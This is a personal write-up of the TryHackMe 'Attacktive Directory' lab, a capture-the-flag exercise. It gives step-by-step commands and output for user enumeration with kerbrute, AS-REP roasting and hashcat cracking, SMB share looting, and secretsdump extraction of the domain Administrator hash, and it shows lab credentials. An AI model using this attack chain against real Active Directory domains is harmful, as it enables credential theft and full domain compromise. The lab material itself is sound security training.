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Accessing Attacktive Directory THM Write-up
Installing Impacket:
Whether you're on the Kali 2019.3 or Kali 2021.1, Impacket can be a pain to install correctly. Here's some instructions that may help you install it correctly!
First, you will need to clone the Impacket Github repo onto your box. The following command will clone Impacket into /opt/impacket:
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacketAfter the repo is cloned, you will notice several install related files, requirements.txt, and setup.py. A commonly skipped file during the installation is setup.py, this actually installs Impacket onto your system so you can use it and not have to worry about any dependencies.
To install the Python requirements for Impacket:
pip3 install -r /opt/impacket/requirements.txtOnce the requirements have finished installing, we can then run the python setup install script:
cd /opt/impacket/ && python3 ./setup.py installAfter that, Impacket should be correctly installed now and it should be ready to use!
If you are still having issues, you can try the following script and see if this works:
sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket sudo pip3 install -r /opt/impacket/requirements.txt cd /opt/impacket/ sudo pip3 install . sudo python3 setup.py install |
Installing Bloodhound and Neo4j
Bloodhound is another tool that we'll be utilizing while attacking Attacktive Directory. We'll cover specifcs of the tool later, but for now, we need to install two packages with Apt, those being bloodhound and neo4j. You can install it with the following command:
apt install bloodhound neo4j Now that it's done, you're ready to go!
Troubleshooting
If you are having issues installing Bloodhound and Neo4j, try issuing the following command:
apt update && apt upgradeAfter the nmap scan, we see that the port 139 and 445 are open, so we can use "enum4linux" to see what domains are available.
"enum4linux -a" option does all the common options.
nmap scan result
Nmap scan report for 10.10.100.215
Host is up (0.13s latency).
Not shown: 987 closed ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 26.97 seconds
❯ nmap -A 10.10.100.215
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-16 12:28 EST
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 6.75% done; ETC: 12:29 (0:00:14 remaining)
Stats: 0:00:05 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 37.18% done; ETC: 12:29 (0:00:07 remaining)
Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 99.99% done; ETC: 12:29 (0:00:00 remaining)
Nmap scan report for 10.10.100.215
Host is up (0.14s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-16 17:29:18Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: THM-AD
| NetBIOS_Domain_Name: THM-AD
| NetBIOS_Computer_Name: ATTACKTIVEDIREC
| DNS_Domain_Name: spookysec.local
| DNS_Computer_Name: AttacktiveDirectory.spookysec.local
| Product_Version: 10.0.17763
|_ System_Time: 2022-01-16T17:29:27+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2022-01-15T17:13:49
|_Not valid after: 2022-07-17T17:13:49
|_ssl-date: 2022-01-16T17:29:35+00:00; 0s from scanner time.
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-01-16T17:29:27
|_ start_date: N/A
Service detection performed
Download the older version (1.0.2) as the userenum option is available and 1.0 was not stable.
For this box, a modified User List and Password List will be used to cut down on time of enumeration of users and password hash cracking. It is NOT recommended to brute force credentials due to account lockout policies that we cannot enumerate on the domain controller.
Updated the etc/hosts with the domain name (spookysec.local)
I've specified the domain controller as it was giving me an error without it.
./kerbrute userenum -d spookysec.local --dc spookysec.local kerberoesuser.txt 
Introduction
After the enumeration of user accounts is finished, we can attempt to abuse a feature within Kerberos with an attack method called ASREPRoasting. ASReproasting occurs when a user account has the privilege "Does not require Pre-Authentication" set. This means that the account does not need to provide valid identification before requesting a Kerberos Ticket on the specified user account.
Retrieving Kerberos Tickets
Impacket has a tool called "GetNPUsers.py" (located in impacket/examples/GetNPUsers.py) that will allow us to query ASReproastable accounts from the Key Distribution Center. The only thing that's necessary to query accounts is a valid set of usernames which we enumerated previously via Kerbrute.
svc-admin provided a TGT ticket hashes without authentication
After entering the first part of the hash, I was able to see that it's "Kerberos 5, etype 23, AS-REP" and has the 18200 hash-mode.
hashcat -m 18200 hash.txt pass.txt
Dictionary cache built:
* Filename..: pass.txt
* Passwords.: 70189
* Bytes.....: 569237
* Keyspace..: 70189
* Runtime...: 0 secs
[email protected]:f0a97f889f9fbbcd6806ba1d47dbdd90$f601dc3e42fc28c4ba6500fc642c6ffc7863d9baa52aa80af85188cb80741fcedf6526868e61170cf36e4c820a299495a2e182e898de7be3cb1b1aebb3cc90c88ff694e0ac3dec1ddfd87db8f0f4acebbdda3ba005cc9bfb66ab7964d5afc1d06039e4cc479fc8c22b9f98e869acb5bf0b68cbd7fa42e378a2fcee4357fa83065cfd37c0792a3494727227a4e665f3e87da1b6ca8c2a0db21e985fadf89675f1038b20cb4583b56d7a3221515765d95cf8d7583a4380930feb0aaf3b6e479bc3f63cf71764fb47c67bfaf492e915c50a7d21e32ceed369bfff8d660072ac74277d6b7b62f96200f72cd97b929470930aaa42:management2005
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: [email protected]:f0a97f889f9...0aaa42
Time.Started.....: Sun Jan 16 13:29:05 2022 (0 secs)
Time.Estimated...: Sun Jan 16 13:29:05 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (pass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1455.8 kH/s (0.42ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 7168/70189 (10.21%)
Rejected.........: 0/7168 (0.00%)
Restore.Point....: 6144/70189 (8.75%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: horoscope -> frida
Hardware.Mon.#1..: Util: 25%
Cracked it!
Enumeration:
With a user's account credentials we now have significantly more access within the domain. We can now attempt to enumerate any shares that the domain controller may be giving out.
smbclient -L \10.10.162.190\ -U svc-admin
this will list the file shares within.
Enumerate the resulted shared folders
smbclient \\10.10.162.190\backup\ -U svc-admin
\
Juicy file found!
use the smb command "get" to download it to the attacker's machine.
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw~zshThis looks like base64
Decode this by typing
base64 -d backup_credentials.txtNow that we have new user account credentials, we may have more privileges on the system than before. The username of the account "backup" gets us thinking. What is this the backup account to?
Well, it is the backup account for the Domain Controller. This account has a unique permission that allows all Active Directory changes to be synced with this user account. This includes password hashes
Knowing this, we can use another tool within Impacket called "secretsdump.py". This will allow us to retrieve all of the password hashes that this user account (that is synced with the domain controller) has to offer. Exploiting this, we will effectively have full control over the AD Domain.
impacket-secretsdump [email protected]:backup2517860I couldn't get this to work for a min since I was adding "%" at the end which wasn't the part of the password :(
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Use a tool Evil-WinRM
This room was so much fun!!
Last modified 1yr ago